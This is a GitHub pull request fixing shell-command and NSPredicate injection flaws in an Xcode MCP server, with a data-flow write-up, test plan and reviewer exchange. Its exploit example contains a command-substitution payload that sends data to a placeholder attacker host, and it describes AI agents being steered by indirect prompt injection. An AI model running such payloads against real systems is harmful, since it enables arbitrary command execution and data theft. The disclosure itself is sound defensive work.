fix: CWE-78 shell injection via unsafe argument escaping in command executor#289
fix: CWE-78 shell injection via unsafe argument escaping in command executor#289sebastiondev wants to merge 4 commits intogetsentry:mainfrom
Conversation
… and sanitize predicate/version inputs - command.ts: Replace hand-rolled double-quote regex escaping with the existing shellEscapeArg() helper that uses POSIX single-quote wrapping. The previous regex missed $(), backticks, and newlines inside double quotes, allowing command injection when useShell=true. - log_capture.ts: Add escapePredicateString() to sanitize bundleId and custom subsystem values before interpolating them into NSPredicate strings, preventing predicate injection via crafted double-quotes or backslashes. - generate-version.ts: Validate version fields against a version pattern and use JSON.stringify() instead of raw string interpolation to prevent code injection via a compromised package.json.
…rsion validation, and document unfixed bundle-id injection vectors
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes and found 2 potential issues.
Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.
| // We cannot easily import the generate-version script (it runs main() immediately), | ||
| // so we extract and test the core logic: VERSION_REGEX and JSON.stringify defense. | ||
|
|
||
| const VERSION_REGEX = /^v?[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9.\-]+)?(\+[a-zA-Z0-9.\-]+)?$/; |
There was a problem hiding this comment.
Duplicated VERSION_REGEX may drift from production
Low Severity
VERSION_REGEX is copy-pasted from scripts/generate-version.ts into the test file. Since generate-version.ts runs main() at import time and can't be imported, the regex is duplicated. If the production regex changes, the test will silently become stale and won't validate the actual production behavior. Extracting VERSION_REGEX and validateVersion into a separate importable module would keep them in sync.
Additional Locations (1)
There was a problem hiding this comment.
Acknowledged — this is a fair point. The duplication exists because generate-version.ts calls main() at module scope, making it non-importable from tests without side effects.
For the scope of this security-focused PR, I think the duplication is acceptable: the test file has a clear comment explaining why it duplicates the regex, and the regex was already updated in both places in 58ec0fe to include hyphens.
A follow-up refactor to extract VERSION_REGEX and validateVersion into a shared module (and have generate-version.ts import from it) would be a clean improvement, but I'd prefer to keep this PR minimal. Happy to open that as a separate PR if the maintainers want it.


Vulnerability Summary
CWE-78: OS Command Injection — Severity: High
Data Flow
User-controlled MCP tool parameters (
scheme,projectPath,workspacePath) flow through the following path:build_run_sim,build_sim,test_sim) receivesz.string()params with no content validationinferPlatform()→detectPlatformFromScheme()insrc/utils/platform-detection.ts:84executor(["xcodebuild", "-showBuildSettings", "-scheme", scheme, "-project", path], "Platform Detection", true)— noteuseShell=truedefaultExecutor()insrc/utils/command.tsconstructs a shell command string"and\— but$(), backticks,;,|etc. remain live inside double quotes/bin/sh -c "xcodebuild -showBuildSettings -scheme \"$(curl evil.com)\" ..."— shell evaluates the injection payloadExploit Example
A crafted
schemeparameter like$(curl https://evil.com/steal?data=$(whoami))would be double-quoted as-is. Since$()is evaluated inside double quotes by the shell, this achieves arbitrary command execution with the developer's user privileges.The attacker needs to influence the AI agent's tool call parameters, which could happen via indirect prompt injection from malicious files in a repository, a compromised MCP client, or manipulated conversation context.
Mitigating Factors
useShell=truehas only one production caller (detectPlatformFromScheme), limiting the attack surfaceFix Description
This PR addresses 3 injection vectors across 4 files:
1. Shell argument escaping —
src/utils/command.ts+src/utils/shell-escape.ts(new)Problem: The
defaultExecutorused hand-rolled double-quote escaping that only escaped"and\, leaving$(), backticks,;,|, and other shell metacharacters exploitable whenuseShell=true.Fix: Introduced
shellEscapeArg()using the standard POSIX single-quote escaping technique. Single-quoted strings in POSIX shells have no interpretation at all — no variable expansion, no command substitution, no metacharacter processing. Embedded single quotes are handled by ending the quote, inserting an escaped literal single quote, and reopening the quote ('\\'').This is the same technique used by Python's
shlex.quote(), Ruby'sShellwords.shellescape(), and most security-reviewed implementations.2. NSPredicate string escaping —
src/utils/log_capture.tsProblem:
bundleIdand custom subsystem filter strings were interpolated directly into NSPredicate double-quoted string literals without escaping. A craftedbundleIdlikeio.evil" OR 1==1 OR subsystem == "xcould break out of the predicate string context.Fix: Added
escapePredicateString()that backslash-escapes\then"(order matters) for all values interpolated into"..."predicate contexts. This is NSPredicate-level injection prevention. The predicate is passed as an array element withuseShell=false, so this is correctly scoped.3. Code generation hardening —
scripts/generate-version.tsProblem: Version strings from
package.jsonwere interpolated directly into single-quoted TypeScript source strings via template literals. A compromisedpackage.jsonwith a crafted value could inject arbitrary code into the generatedversion.ts.Fix: Defense-in-depth with two layers:
VERSION_REGEX) validates all version values against a strict semver pattern before useJSON.stringify()replaces raw template interpolation, producing properly escaped double-quoted strings in the outputKnown Unfixed Instances
src/utils/bundle-id.tsappPathinterpolated into template literal passed to/bin/sh -csrc/mcp/tools/project-discovery/get_mac_bundle_id.tsRecommended followup: Refactor these to use
spawnarrays without shell (the defaultuseShell=falsepath):The included tests (
bundle-id-injection.test.ts,mac-bundle-id-injection.test.ts) document these unfixed vectors so they can be addressed in a follow-up PR.Test Results
Framework: Vitest v3.2.4
✅ Zero regressions. The 15 skips are pre-existing (xcode-state-reader, sync_xcode_defaults, environment-specific).
Additional checks:
tsc --noEmit— ✅ No type errorsnpm run build(tsup production build) — ✅ Build succeedsNew Test Files
shell-escape.test.ts$(), backticks,;,|, newlines, backslashes, realistic maliciousappPathlog_capture_escape.test.tsgenerate-version-validation.test.tsJSON.stringifydefense-in-depthbundle-id-injection.test.ts$(id), semicolon, backtick injection inbundle-id.tsmac-bundle-id-injection.test.ts$(id)injection inget_mac_bundle_id.tsDisprove Analysis
We systematically attempted to disprove this finding. Here are the results:
Is the vulnerable code reachable with attacker-controlled input?
Yes. The only production caller passing
useShell=trueisdetectPlatformFromScheme()inplatform-detection.ts:84, which receivesscheme,projectPath, andworkspacePathfrom MCP tool parameters. These are validated only asz.string()with no content restrictions. Callers includebuild_run_sim,build_sim,test_sim, andsimulator-defaults-refresh.Are there existing mitigations?
Partial.
Is there authentication/authorization?
No. The MCP server has no auth layer. All tool parameters come from the AI agent, which processes user prompts and potentially untrusted project data.
Prior reports?
None. No CVEs or security issues found in the repo's issue tracker. The project has a
SECURITY.mddirecting to GitHub Private Vulnerability Reporting.Verdict
Confirmed valid. The old double-quote escaping demonstrably fails to prevent
$()and backtick command substitution. The fix (POSIX single-quote escaping) is technically correct and addresses the vulnerable code path. Confidence: High.Changes Summary
src/utils/shell-escape.tssrc/utils/command.tsshellEscapeArgsrc/utils/log_capture.tsescapePredicateString()for NSPredicate contextsscripts/generate-version.tsJSON.stringifyfor version codegensrc/utils/__tests__/shell-escape.test.tssrc/utils/__tests__/log_capture_escape.test.tssrc/utils/__tests__/generate-version-validation.test.tssrc/utils/__tests__/bundle-id-injection.test.tssrc/utils/__tests__/mac-bundle-id-injection.test.ts